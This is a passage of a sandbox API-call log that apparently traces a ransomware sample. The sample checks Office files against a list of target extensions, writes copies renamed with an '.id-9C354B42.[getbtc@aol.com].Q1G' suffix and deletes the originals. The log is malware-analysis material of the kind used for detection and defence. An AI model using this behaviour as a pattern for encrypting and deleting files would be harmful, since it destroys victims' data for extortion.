returned 4 [0250.951] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0250.954] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSAIN.DLL") returned 57 [0250.957] lstrlenW (lpString=".zip") returned 4 [0250.965] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0250.968] lstrlenW (lpString=".rar") returned 4 [0250.969] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0250.971] lstrlenW (lpString=".bz2") returned 4 [0250.972] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0250.975] lstrlenW (lpString=".7z") returned 3 [0250.976] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0250.979] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSAIN.DLL") returned 57 [0250.980] lstrlenW (lpString=".dbf") returned 4 [0250.984] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0250.984] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSAIN.DLL") returned 57 [0250.988] lstrlenW (lpString=".1cd") returned 4 [0250.991] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0250.994] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSAIN.DLL") returned 57 [0250.996] lstrlenW (lpString=".jpg") returned 4 [0250.999] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0251.020] lstrcmpiW (lpString1=".VRD", lpString2=".Q1G") returned 1 [0251.027] lstrlenW (lpString="NETWORK1.VRD") returned 12 [0251.028] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\NETWORK1.VRD" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\network1.vrd"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x204 [0251.486] GetFileSizeEx (in: hFile=0x204, lpFileSize=0x355ff1c | out: lpFileSize=0x355ff1c*=1844) returned 1 [0251.486] CloseHandle (hObject=0x204) returned 1 [0251.487] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\NETWORK1.VRD" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\network1.vrd")) returned 0x20 [0251.487] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\NETWORK1.VRD.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\network1.vrd.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0251.487] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\NETWORK1.VRD" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\network1.vrd"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x204 [0251.487] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x355fec8 | out: lpNewFilePointer=0x0) returned 1 [0251.487] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x355fec8 | out: lpNewFilePointer=0x0) returned 1 [0251.487] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\NETWORK1.VRD.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\network1.vrd.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c4 [0251.487] GetLastError () returned 0x0 [0251.487] ReadFile (in: hFile=0x204, lpBuffer=0x40e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x355fed4, lpOverlapped=0x0 | out: lpBuffer=0x40e0020*, lpNumberOfBytesRead=0x355fed4*=0x734, lpOverlapped=0x0) returned 1 [0251.524] WriteFile (in: hFile=0x3c4, lpBuffer=0x40e0020*, nNumberOfBytesToWrite=0x740, lpNumberOfBytesWritten=0x355fc9c, lpOverlapped=0x0 | out: lpBuffer=0x40e0020*, lpNumberOfBytesWritten=0x355fc9c*=0x740, lpOverlapped=0x0) returned 1 [0251.525] ReadFile (in: hFile=0x204, lpBuffer=0x40e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x355fed4, lpOverlapped=0x0 | out: lpBuffer=0x40e0020*, lpNumberOfBytesRead=0x355fed4*=0x0, lpOverlapped=0x0) returned 1 [0251.525] WriteFile (in: hFile=0x3c4, lpBuffer=0x40e0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x355fc9c, lpOverlapped=0x0 | out: lpBuffer=0x40e0020*, lpNumberOfBytesWritten=0x355fc9c*=0xec, lpOverlapped=0x0) returned 1 [0251.525] SetEndOfFile (hFile=0x3c4) returned 1 [0251.525] CloseHandle (hObject=0x3c4) returned 1 [0251.525] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x355fec8 | out: lpNewFilePointer=0x0) returned 1 [0251.525] SetEndOfFile (hFile=0x204) returned 1 [0251.529] CloseHandle (hObject=0x204) returned 1 [0251.529] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\NETWORK1.VRD.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0251.529] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\NETWORK1.VRD" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\network1.vrd")) returned 1 [0251.530] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\NETWORK1.VRD") returned 60 [0251.530] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\NETWORK1.VRD") returned 60 [0251.530] lstrlenW (lpString=".doc") returned 4 [0251.530] lstrcmpiW (lpString1=".doc", lpString2=".VRD") returned -1 [0251.530] lstrlenW (lpString=".docx") returned 5 [0251.530] lstrcmpiW (lpString1=".docx", lpString2="1.VRD") returned -1 [0251.530] lstrlenW (lpString=".pdf") returned 4 [0251.530] lstrcmpiW (lpString1=".pdf", lpString2=".VRD") returned -1 [0251.530] lstrlenW (lpString=".xls") returned 4 [0251.530] lstrcmpiW (lpString1=".xls", lpString2=".VRD") returned 1 [0251.530] lstrlenW (lpString=".xlsx") returned 5 [0251.530] lstrcmpiW (lpString1=".xlsx", lpString2="1.VRD") returned -1 [0251.530] lstrlenW (lpString=".ppt") returned 4 [0251.530] lstrcmpiW (lpString1=".ppt", lpString2=".VRD") returned -1 [0251.530] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\NETWORK1.VRD") returned 60 [0251.530] lstrlenW (lpString=".zip") returned 4 [0251.530] lstrcmpiW (lpString1=".zip", lpString2=".VRD") returned 1 [0251.530] lstrlenW (lpString=".rar") returned 4 [0251.530] lstrcmpiW (lpString1=".rar", lpString2=".VRD") returned -1 [0251.530] lstrlenW (lpString=".bz2") returned 4 [0251.530] lstrcmpiW (lpString1=".bz2", lpString2=".VRD") returned -1 [0251.530] lstrlenW (lpString=".7z") returned 3 [0251.530] lstrcmpiW (lpString1=".7z", lpString2="VRD") returned -1 [0251.530] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\NETWORK1.VRD") returned 60 [0251.531] lstrlenW (lpString=".dbf") returned 4 [0251.531] lstrcmpiW (lpString1=".dbf", lpString2=".VRD") returned -1 [0251.531] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\NETWORK1.VRD") returned 60 [0251.531] lstrlenW (lpString=".1cd") returned 4 [0251.531] lstrcmpiW (lpString1=".1cd", lpString2=".VRD") returned -1 [0251.531] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\NETWORK1.VRD") returned 60 [0251.531] lstrlenW (lpString=".jpg") returned 4 [0251.531] lstrcmpiW (lpString1=".jpg", lpString2=".VRD") returned -1 [0251.531] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\NETWORK1.VRD") returned 60 [0251.531] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\NETWORK1.VRD") returned 60 [0251.531] lstrlenW (lpString=".doc") returned 4 [0251.531] lstrcmpiW (lpString1=".doc", lpString2=".VRD") returned -1 [0251.531] lstrlenW (lpString=".docx") returned 5 [0251.531] lstrcmpiW (lpString1=".docx", lpString2="1.VRD") returned -1 [0251.531] lstrlenW (lpString=".pdf") returned 4 [0251.531] lstrcmpiW (lpString1=".pdf", lpString2=".VRD") returned -1 [0251.531] lstrlenW (lpString=".xls") returned 4 [0251.531] lstrcmpiW (lpString1=".xls", lpString2=".VRD") returned 1 [0251.531] lstrlenW (lpString=".xlsx") returned 5 [0251.531] lstrcmpiW (lpString1=".xlsx", lpString2="1.VRD") returned -1 [0251.531] lstrlenW (lpString=".ppt") returned 4 [0251.531] lstrcmpiW (lpString1=".ppt", lpString2=".VRD") returned -1 [0251.531] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\NETWORK1.VRD") returned 60 [0251.531] lstrlenW (lpString=".zip") returned 4 [0251.531] lstrcmpiW (lpString1=".zip", lpString2=".VRD") returned 1 [0251.531] lstrlenW (lpString=".rar") returned 4 [0251.531] lstrcmpiW (lpString1=".rar", lpString2=".VRD") returned -1 [0251.531] lstrlenW (lpString=".bz2") returned 4 [0251.531] lstrcmpiW (lpString1=".bz2", lpString2=".VRD") returned -1 [0251.531] lstrlenW (lpString=".7z") returned 3 [0251.531] lstrcmpiW (lpString1=".7z", lpString2="VRD") returned -1 [0251.531] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\NETWORK1.VRD") returned 60 [0251.531] lstrlenW (lpString=".dbf") returned 4 [0251.531] lstrcmpiW (lpString1=".dbf", lpString2=".VRD") returned -1 [0251.531] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\NETWORK1.VRD") returned 60 [0251.532] lstrlenW (lpString=".1cd") returned 4 [0251.532] lstrcmpiW (lpString1=".1cd", lpString2=".VRD") returned -1 [0251.532] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\NETWORK1.VRD") returned 60 [0251.532] lstrlenW (lpString=".jpg") returned 4 [0251.532] lstrcmpiW (lpString1=".jpg", lpString2=".VRD") returned -1 [0251.532] lstrcmpiW (lpString1=".VRD", lpString2=".Q1G") returned 1 [0251.532] lstrlenW (lpString="NETWORK3.VRD") returned 12 [0251.532] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\NETWORK3.VRD" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\network3.vrd"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x204 [0251.532] GetFileSizeEx (in: hFile=0x204, lpFileSize=0x355ff1c | out: lpFileSize=0x355ff1c*=3246) returned 1 [0251.532] CloseHandle (hObject=0x204) returned 1 [0251.532] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\NETWORK3.VRD" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\network3.vrd")) returned 0x20 [0251.532] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\NETWORK3.VRD.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\network3.vrd.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0251.533] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\NETWORK3.VRD" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\network3.vrd"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x204 [0251.533] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x355fec8 | out: lpNewFilePointer=0x0) returned 1 [0251.533] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x355fec8 | out: lpNewFilePointer=0x0) returned 1 [0251.533] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\NETWORK3.VRD.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\network3.vrd.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c4 [0251.533] GetLastError () returned 0x0 [0251.533] ReadFile (in: hFile=0x204, lpBuffer=0x40e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x355fed4, lpOverlapped=0x0 | out: lpBuffer=0x40e0020*, lpNumberOfBytesRead=0x355fed4*=0xcae, lpOverlapped=0x0) returned 1 [0251.551] WriteFile (in: hFile=0x3c4, lpBuffer=0x40e0020*, nNumberOfBytesToWrite=0xcb0, lpNumberOfBytesWritten=0x355fc9c, lpOverlapped=0x0 | out: lpBuffer=0x40e0020*, lpNumberOfBytesWritten=0x355fc9c*=0xcb0, lpOverlapped=0x0) returned 1 [0251.552] ReadFile (in: hFile=0x204, lpBuffer=0x40e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x355fed4, lpOverlapped=0x0 | out: lpBuffer=0x40e0020*, lpNumberOfBytesRead=0x355fed4*=0x0, lpOverlapped=0x0) returned 1 [0251.552] WriteFile (in: hFile=0x3c4, lpBuffer=0x40e0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x355fc9c, lpOverlapped=0x0 | out: lpBuffer=0x40e0020*, lpNumberOfBytesWritten=0x355fc9c*=0xec, lpOverlapped=0x0) returned 1 [0251.552] SetEndOfFile (hFile=0x3c4) returned 1 [0251.552] CloseHandle (hObject=0x3c4) returned 1 [0251.552] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x355fec8 | out: lpNewFilePointer=0x0) returned 1 [0251.552] SetEndOfFile (hFile=0x204) returned 1 [0251.554] CloseHandle (hObject=0x204) returned 1 [0251.554] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\NETWORK3.VRD.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0251.554] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\NETWORK3.VRD" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\network3.vrd")) returned 1 [0251.555] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\NETWORK3.VRD") returned 60 [0251.555] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\NETWORK3.VRD") returned 60 [0251.555] lstrlenW (lpString=".doc") returned 4 [0251.555] lstrcmpiW (lpString1=".doc", lpString2=".VRD") returned -1 [0251.555] lstrlenW (lpString=".docx") returned 5 [0251.555] lstrcmpiW (lpString1=".docx", lpString2="3.VRD") returned -1 [0251.555] lstrlenW (lpString=".pdf") returned 4 [0251.555] lstrcmpiW (lpString1=".pdf", lpString2=".VRD") returned -1 [0251.555] lstrlenW (lpString=".xls") returned 4 [0251.555] lstrcmpiW (lpString1=".xls", lpString2=".VRD") returned 1 [0251.555] lstrlenW (lpString=".xlsx") returned 5 [0251.555] lstrcmpiW (lpString1=".xlsx", lpString2="3.VRD") returned -1 [0251.555] lstrlenW (lpString=".ppt") returned 4 [0251.555] lstrcmpiW (lpString1=".ppt", lpString2=".VRD") returned -1 [0251.555] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\NETWORK3.VRD") returned 60 [0251.555] lstrlenW (lpString=".zip") returned 4 [0251.555] lstrcmpiW (lpString1=".zip", lpString2=".VRD") returned 1 [0251.555] lstrlenW (lpString=".rar") returned 4 [0251.555] lstrcmpiW (lpString1=".rar", lpString2=".VRD") returned -1 [0251.555] lstrlenW (lpString=".bz2") returned 4 [0251.555] lstrcmpiW (lpString1=".bz2", lpString2=".VRD") returned -1 [0251.555] lstrlenW (lpString=".7z") returned 3 [0251.555] lstrcmpiW (lpString1=".7z", lpString2="VRD") returned -1 [0251.555] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\NETWORK3.VRD") returned 60 [0251.555] lstrlenW (lpString=".dbf") returned 4 [0251.556] lstrcmpiW (lpString1=".dbf", lpString2=".VRD") returned -1 [0251.556] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\NETWORK3.VRD") returned 60 [0251.556] lstrlenW (lpString=".1cd") returned 4 [0251.556] lstrcmpiW (lpString1=".1cd", lpString2=".VRD") returned -1 [0251.556] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\NETWORK3.VRD") returned 60 [0251.556] lstrlenW (lpString=".jpg") returned 4 [0251.556] lstrcmpiW (lpString1=".jpg", lpString2=".VRD") returned -1 [0251.556] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\NETWORK3.VRD") returned 60 [0251.556] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\NETWORK3.VRD") returned 60 [0251.556] lstrlenW (lpString=".doc") returned 4 [0251.556] lstrcmpiW (lpString1=".doc", lpString2=".VRD") returned -1 [0251.556] lstrlenW (lpString=".docx") returned 5 [0251.556] lstrcmpiW (lpString1=".docx", lpString2="3.VRD") returned -1 [0251.556] lstrlenW (lpString=".pdf") returned 4 [0251.556] lstrcmpiW (lpString1=".pdf", lpString2=".VRD") returned -1 [0251.556] lstrlenW (lpString=".xls") returned 4 [0251.556] lstrcmpiW (lpString1=".xls", lpString2=".VRD") returned 1 [0251.556] lstrlenW (lpString=".xlsx") returned 5 [0251.556] lstrcmpiW (lpString1=".xlsx", lpString2="3.VRD") returned -1 [0251.556] lstrlenW (lpString=".ppt") returned 4 [0251.556] lstrcmpiW (lpString1=".ppt", lpString2=".VRD") returned -1 [0251.556] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\NETWORK3.VRD") returned 60 [0251.556] lstrlenW (lpString=".zip") returned 4 [0251.556] lstrcmpiW (lpString1=".zip", lpString2=".VRD") returned 1 [0251.556] lstrlenW (lpString=".rar") returned 4 [0251.556] lstrcmpiW (lpString1=".rar", lpString2=".VRD") returned -1 [0251.556] lstrlenW (lpString=".bz2") returned 4 [0251.556] lstrcmpiW (lpString1=".bz2", lpString2=".VRD") returned -1 [0251.556] lstrlenW (lpString=".7z") returned 3 [0251.556] lstrcmpiW (lpString1=".7z", lpString2="VRD") returned -1 [0251.556] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\NETWORK3.VRD") returned 60 [0251.556] lstrlenW (lpString=".dbf") returned 4 [0251.556] lstrcmpiW (lpString1=".dbf", lpString2=".VRD") returned -1 [0251.556] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\NETWORK3.VRD") returned 60 [0251.556] lstrlenW (lpString=".1cd") returned 4 [0251.556] lstrcmpiW (lpString1=".1cd", lpString2=".VRD") returned -1 [0251.557] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\NETWORK3.VRD") returned 60 [0251.557] lstrlenW (lpString=".jpg") returned 4 [0251.557] lstrcmpiW (lpString1=".jpg", lpString2=".VRD") returned -1 [0251.557] lstrcmpiW (lpString1=".DLL", lpString2=".Q1G") returned -1 [0251.557] lstrlenW (lpString="OFFOWCI.DLL") returned 11 [0251.557] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OFFOWCI.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\offowci.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b0 [0251.576] GetFileSizeEx (in: hFile=0x3b0, lpFileSize=0x355ff1c | out: lpFileSize=0x355ff1c*=529280) returned 1 [0251.576] CloseHandle (hObject=0x3b0) returned 1 [0251.576] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OFFOWCI.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\offowci.dll")) returned 0x20 [0251.645] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OFFOWCI.DLL.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\offowci.dll.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0251.767] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OFFOWCI.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\offowci.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0252.007] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OFFOWCI.DLL") returned 59 [0252.007] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OFFOWCI.DLL") returned 59 [0252.007] lstrlenW (lpString=".doc") returned 4 [0252.007] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0252.007] lstrlenW (lpString=".docx") returned 5 [0252.007] lstrcmpiW (lpString1=".docx", lpString2="I.DLL") returned -1 [0252.008] lstrlenW (lpString=".pdf") returned 4 [0252.008] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0252.008] lstrlenW (lpString=".xls") returned 4 [0252.008] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0252.008] lstrlenW (lpString=".xlsx") returned 5 [0252.008] lstrcmpiW (lpString1=".xlsx", lpString2="I.DLL") returned -1 [0252.008] lstrlenW (lpString=".ppt") returned 4 [0252.008] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0252.008] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OFFOWCI.DLL") returned 59 [0252.008] lstrlenW (lpString=".zip") returned 4 [0252.008] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0252.008] lstrlenW (lpString=".rar") returned 4 [0252.008] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0252.008] lstrlenW (lpString=".bz2") returned 4 [0252.008] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0252.008] lstrlenW (lpString=".7z") returned 3 [0252.008] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0252.008] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OFFOWCI.DLL") returned 59 [0252.008] lstrlenW (lpString=".dbf") returned 4 [0252.008] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0252.008] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OFFOWCI.DLL") returned 59 [0252.008] lstrlenW (lpString=".1cd") returned 4 [0252.008] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0252.008] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OFFOWCI.DLL") returned 59 [0252.008] lstrlenW (lpString=".jpg") returned 4 [0252.008] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0252.008] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OFFOWCI.DLL") returned 59 [0252.008] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OFFOWCI.DLL") returned 59 [0252.008] lstrlenW (lpString=".doc") returned 4 [0252.008] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0252.008] lstrlenW (lpString=".docx") returned 5 [0252.008] lstrcmpiW (lpString1=".docx", lpString2="I.DLL") returned -1 [0252.008] lstrlenW (lpString=".pdf") returned 4 [0252.008] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0252.008] lstrlenW (lpString=".xls") returned 4 [0252.008] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0252.009] lstrlenW (lpString=".xlsx") returned 5 [0252.009] lstrcmpiW (lpString1=".xlsx", lpString2="I.DLL") returned -1 [0252.009] lstrlenW (lpString=".ppt") returned 4 [0252.009] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0252.009] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OFFOWCI.DLL") returned 59 [0252.009] lstrlenW (lpString=".zip") returned 4 [0252.009] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0252.009] lstrlenW (lpString=".rar") returned 4 [0252.009] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0252.009] lstrlenW (lpString=".bz2") returned 4 [0252.009] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0252.009] lstrlenW (lpString=".7z") returned 3 [0252.009] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0252.009] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OFFOWCI.DLL") returned 59 [0252.009] lstrlenW (lpString=".dbf") returned 4 [0252.009] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0252.009] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OFFOWCI.DLL") returned 59 [0252.009] lstrlenW (lpString=".1cd") returned 4 [0252.009] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0252.009] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OFFOWCI.DLL") returned 59 [0252.009] lstrlenW (lpString=".jpg") returned 4 [0252.009] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0252.009] lstrcmpiW (lpString1=".HXK", lpString2=".Q1G") returned -1 [0252.009] lstrlenW (lpString="ONENOTE_K_COL.HXK") returned 17 [0252.009] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\onenote_k_col.hxk"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8 [0252.118] GetFileSizeEx (in: hFile=0x3a8, lpFileSize=0x355ff1c | out: lpFileSize=0x355ff1c*=113) returned 1 [0252.118] CloseHandle (hObject=0x3a8) returned 1 [0252.118] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\onenote_k_col.hxk")) returned 0x20 [0252.118] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE_K_COL.HXK.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\onenote_k_col.hxk.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0252.119] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\onenote_k_col.hxk"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8 [0252.119] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x355fec8 | out: lpNewFilePointer=0x0) returned 1 [0252.119] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x355fec8 | out: lpNewFilePointer=0x0) returned 1 [0252.119] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE_K_COL.HXK.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\onenote_k_col.hxk.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0252.119] GetLastError () returned 0x0 [0252.119] ReadFile (in: hFile=0x3a8, lpBuffer=0x40e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x355fed4, lpOverlapped=0x0 | out: lpBuffer=0x40e0020*, lpNumberOfBytesRead=0x355fed4*=0x71, lpOverlapped=0x0) returned 1 [0252.120] WriteFile (in: hFile=0x398, lpBuffer=0x40e0020*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x355fc9c, lpOverlapped=0x0 | out: lpBuffer=0x40e0020*, 